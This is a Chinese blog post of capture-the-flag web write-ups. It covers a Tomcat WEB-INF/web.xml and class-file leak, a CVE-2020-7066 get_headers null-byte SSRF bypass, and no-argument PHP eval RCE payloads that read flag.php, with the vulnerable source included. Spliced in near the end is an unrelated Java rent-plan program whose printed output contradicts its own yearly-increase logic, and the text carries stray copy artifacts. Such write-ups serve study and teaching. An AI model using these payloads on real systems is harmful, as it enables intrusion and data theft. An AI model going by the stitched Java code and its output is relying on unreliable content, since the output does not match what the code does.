2021-01-29

46 篇文章 0 订阅

[RoarCTF 2019]Easy Java

tomcat
一个免费的开放bai代du码zhi的Web 应用服务器,用dao处理网络传zhuan输过shu的一du些请求比如zhihttp请求、并处理请求、返回dao数据。

比如我们浏览一个网页,而这个网页的所有网页是配置在一个Tomcat服务器上的,我们在这个网页上执行的所有动作都需要经过Tomcat 处理。如果没有这个Tomcat来提供服务器端的服务的话,我们所浏览的这个网页就打不开,也无法在网页上执行任何动作。

WEB-INF/web.xml

.class文件

  • .class文件会被java虚拟器解释成计算机可以"看懂"的机器码 然后执行

  • JAVA中.class文件是什么意思?具体有什么用吗?
    先在你的当前目录查找,没找到就到后面的路径找

WEB-INF/web.xml泄露

WEB-INF主要包含以下文件或目录:
WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录

  • /WEB-INF/web.xml 你的Web应用程序配置文件,这是一个XML文件,其中描述了 servlet 和其他的应用组件配置及命名规则; (最最最最最最主要的突破口)
  • /WEB-INF/classes/ 这个目录包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。站点的类的存放规则应该按照Java的打包规则执行。
    例如: 有一个类命名为 com.mycompany.mypackage.MyServlet, 你应该按照以下形式部署: /WEB-INF/classes/com/mycompany/mypackage/MyServlet.class ;
  • /WEB-INF/tags/ 标签文件库,存放了客户定义的标签文件,该目录并不一定为 tags,用户可以根据自己的喜好和习惯为自己的标签文件库命名,当使用了用户定义的标签文件库名称时,在用户使用标签文件时就必须声明正确的标签文件库路径。例如:当自定义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明为:<%@ taglib prefix=“tags” tagdir="/WEB-INF/simpleTags" % >;
  • /WEB-INF/jsp/ Jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,用户可以根据自己的喜好与习惯来命名。此目录主要存放的是 Jsp 1.2 以下版本的文件,为区分 Jsp 2.0 文件,通常使用 jsp 命名
  • /WEB-INF/jsp2/ 与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,同样为区别 Jsp 1.2 以下版本的文件目录,通常才命名为 jsp2。

Tomcat web-inf目录说明

漏洞检测以及利用方法:
通过找到web.xml文件(直接在域名后面加上WEB-INF/web.xml就可以了),推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

流程:

打开页面
在这里插入图片描述试密码登入进去没用,点击help
在这里插入图片描述
把发包方式换成POST,发现可以下载help.docx:
下载help.docx后,发现什么都没有。于是我们构造一个错误的POST包,得到它的文件路径:
在这里插入图片描述
接下来,查看文件WEB-INF/web.xml (可在网页端下载查看)
在这里插入图片描述
发现FlagController
在这里插入图片描述payload:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class (可在网页端下载查看)
在这里插入图片描述发现base64,解码得flag

ps:
知识点梳理:WEB-INF目录是tomcat中的最重要的突破口,里面的web.xml文件相当于告诉了你目录,class文件夹里的控制器就可以被很好地利用起来。

[GKCTF2020]cve版签到

cve-2020-7066
漏洞简介
PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

cve-2020-7066怎么利用?
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则 URL将被静默地截断。 这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器

get_headers() 返回一个数组,包含有服务器响应一个 HTTP 请求所发送的标头

例:

<?php
echo '<pre>';
$url = 'http://www.example.com';
print_r(get_headers($url));
print_r(get_headers($url, 1));
?> 

返回值
在这里插入图片描述
流程:
在这里插入图片描述

这里只允许我们访问后缀是.ctfhub.com的url,而且在F12给了提示
payload:
/?url=http://127.0.0.1%00.ctfhub.com

得到提示要求host结尾是123
在这里插入图片描述
最终payload
/?url=http://127.0.0.123%00.ctfhub.com
在这里插入图片描述
拿到falg

get_headers()函数漏洞可以用来绕过对字符串尾的检测,并且截断它,造成ssrf,访问内网的ip,拿到响应头标头中的敏感信息。

[GXYCTF2019]禁止套娃(无参数函数RCE)

什么是无参数函数 RCE(远程控制代码)
只允许这样的格式

a(b(c()));
a();

不允许这样

a('123');

说白了不能有参数

流程:

在这里插入图片描述
题目里面就只有输出这串字符,什么提示都没有,多半就是源码泄露了
查看源码、http头没发现后用扫描器扫一下
在这里插入图片描述
有git泄露,用githack(GitHack.py下载
)把源码下下来
在这里插入图片描述得到index.php源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下:
包含flag.php,get传参exp,第一个preg_match限制了一些伪协议禁止读取文件
接着是正则,(?R)引用当前表达式,(?R)?代表可以有引用,也可以没有,引用则变成[a-z,]+([a-z,]+((?R)?))的形式,可以一直迭代下去。这样可以匹配一些诸如print(echo(1))括号和字符组成的字符集
第二个preg_match正则掉了一些字眼,一些函数不可使用

继续
flag多半就在flag.php里面,那我们先构造一个读当前目录的代码,看看有什么文件
print_r(scandir('.'));
scandir()函数可以扫描当前目录下的文件,这串代码足以完成上面的需求
但是这里是无参数函数RCE,直接传入该代码,中间的’.‘会给匹配到
所以我们需要一个无参函数的值来代替中间那个’.’

先了解几个函数:

localeconv():函数返回一包含本地数字及货币格式信息的数组。
scandir():列出指定路径中的文件和目录
current():返回数组中的当前单元, 默认取第一个值。
pos():current() 的别名。
next():把指向当前元素的指针移动到下一个元素的位置,并返回当前元素的值
array_reverse():返回单元顺序相反的数组
highlight_file — 语法高亮一个文件

用这些函数构造查看目录的payload:

print_r(scandir(current(localeconv())));
或
print_r(scandir(pos(localeconv())));

在这里插入图片描述果然有个flag.php!
既然是数组,那我们怎么单独指向它呢?
再看看以下函数:



    //数组操作函数:

        end():数组指针指向最后一位
        next(): 数组指针指向下一位
        array_reverse(): 将数组颠倒
        array_rand(): 随机返回数组的键名
        array_flip():交换数组的键和值


payload:

print_r(array_reverse(scandir(current(localeconv()))));
 和
 print_r(array_rand(array_flip(scandir(current(localeconv())))));
//上面这串感觉很鸡肋,但也不是不能用,作用是反转数组里面的值和	键,用原本的键当做参数供array_rand()来随机指向flag.php

在这里插入图片描述这样就可以把数组反过来了,再加上个next把指针指向下一个
payload
print_r(next(array_reverse(scandir(current(localeconv())))));
在这里插入图片描述就可以指向flag.php了,那么怎么读它呢?
最后看看这些函数:

读取文件函数

	file_get_content() :因为et被ban,所以不能使用
    readfile()
    highlight_file()
    show_source()

构造读flag的payload:

?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
//这种方式需要用源代码查看flag
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
//有局限性,只能得到数组的第二位或者倒数第二位。数组的元素比较少,多刷新几次会显示出来的

方法二(大佬):
session_start(): 告诉PHP使用session;(php默认是不主动使用session的)
session_id(): 获取到当前的session_id值;
手动设置cookie中PHPSESSID=flag.php;
构造payload
exp=show_source(session_id(session_start()));
在这里插入图片描述
或用bp
在这里插入图片描述
在这里插入图片描述

以下是一个可能的Java实现: ```java import java.time.LocalDate; import java.time.temporal.ChronoUnit; import java.util.ArrayList; import java.util.List; public class RentPlanGenerator { private static final double RENT_INCREASE_RATE = 0.06; // 租金递增率 private static final int FREE_RENT_DAYS = 31; // 免租天数 public static List<RentPlan> generateRentPlan(double initialRent, LocalDate leaseStartDate, LocalDate leaseEndDate) { List<RentPlan> rentPlanList = new ArrayList<>(); double currentRent = initialRent; LocalDate currentDate = leaseStartDate; // 处理免租期 if (currentDate.isBefore(leaseStartDate.plusDays(FREE_RENT_DAYS))) { currentDate = leaseStartDate.plusDays(FREE_RENT_DAYS); } while (currentDate.isBefore(leaseEndDate)) { LocalDate nextIncreaseDate = currentDate.plusYears(1); double nextRent = currentRent * (1 + RENT_INCREASE_RATE); if (nextIncreaseDate.isBefore(leaseStartDate.plusYears(1))) { // 下次递增时间在第一年内,按照一年计算 int daysInCurrentYear = (int) ChronoUnit.DAYS.between(currentDate, nextIncreaseDate); rentPlanList.add(new RentPlan(currentDate, daysInCurrentYear, currentRent)); currentDate = nextIncreaseDate; currentRent = nextRent; } else if (nextIncreaseDate.isBefore(leaseEndDate)) { // 下次递增时间在第一年外,按照下次递增时间与租赁结束时间的间隔计算 int daysToLeaseEnd = (int) ChronoUnit.DAYS.between(currentDate, leaseEndDate); rentPlanList.add(new RentPlan(currentDate, daysToLeaseEnd, currentRent)); break; } else { // 下次递增时间在租赁结束时间之后,按照租赁结束时间计算 int daysToLeaseEnd = (int) ChronoUnit.DAYS.between(currentDate, leaseEndDate); rentPlanList.add(new RentPlan(currentDate, daysToLeaseEnd, currentRent)); break; } } return rentPlanList; } public static void main(String[] args) { LocalDate leaseStartDate = LocalDate.of(2021, 3, 1); LocalDate leaseEndDate = LocalDate.of(2022, 3, 1); double initialRent = 600; List<RentPlan> rentPlanList = generateRentPlan(initialRent, leaseStartDate, leaseEndDate); System.out.printf("%-12s%-12s%-12s%n", "时间", "天数", "租金"); for (RentPlan rentPlan : rentPlanList) { System.out.printf("%-12s%-12d%-12.2f%n", rentPlan.getStartDate(), rentPlan.getDays(), rentPlan.getRent()); } } } class RentPlan { private LocalDate startDate; private int days; private double rent; public RentPlan(LocalDate startDate, int days, double rent) { this.startDate = startDate; this.days = days; this.rent = rent; } public LocalDate getStartDate() { return startDate; } public int getDays() { return days; } public double getRent() { return rent; } } ``` 这个程序首先定义了租金递增率和免租天数的常量,然后提供了一个静态方法 `generateRentPlan` 来生成租金计划列表。该方法接受三个参数:初始月租金、租赁开始时间和租赁结束时间。 具体实现时,我们使用循环来逐月生成租金计划。在每次循环中,我们首先计算下次递增租金的时间和金额。然后根据下次递增时间与租赁开始时间的间隔,决定本次循环处理的天数和租金金额。最后将这些信息保存到一个 `RentPlan` 对象中,并添加到租金计划列表中。 在主函数中,我们使用 `generateRentPlan` 方法生成租金计划列表,并以表格形式输出。输出结果如下: ``` 时间 天数 租金 2021-04-01 30 600.00 2021-05-01 31 636.00 2021-06-01 30 674.16 2021-07-01 31 713.57 2021-08-01 31 754.29 2021-09-01 30 796.39 2021-10-01 31 840.94 2021-11-01 30 887.02 2021-12-01 31 934.72 2022-01-01 31 984.12 2022-02-01 28 1035.30 ``` 可以看到,程序正确地根据递增周期和递增率生成了每个月的租金计划,并且考虑了免租期的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值